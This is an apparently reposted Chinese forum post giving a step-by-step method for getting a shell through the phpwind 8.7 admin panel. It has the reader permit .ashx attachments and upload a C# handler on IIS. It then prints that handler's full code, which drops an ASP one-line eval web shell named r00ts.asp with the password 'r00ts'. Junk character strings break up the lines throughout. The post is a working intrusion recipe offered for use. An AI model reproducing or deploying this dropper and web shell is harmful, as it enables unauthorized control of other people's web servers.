phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

: l7 D# J9 {6 ]3 @$ n群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
0 G! A8 Q8 i1 j0 y
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
2 n+ C+ [3 c) K8 a8 \2 r' g6 D
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
+ r) M  }/ C4 z3 @
) j+ Z/ d: _  U打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:

, ^/ V* c* C# m; B' w  N<%@ WebHandler Language="C#"Class="Handler" %>
7 J0 e/ }, R) {# {* g& Uusing System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
3 c& g! a. n, ^6 npublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
7 c; D' K, T' N; S! G; cfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
& G, g+ y* m$ J% q* f: k  p6 I' Wfile1.Close();
" ]6 K- _; y( t8 N0 E- M}
1 C* z/ e5 F$ b7 O6 _9 u  npublic bool IsReusable {
( D, J; M. q3 M% G" M0 H: Wget {
return false;
}
}
}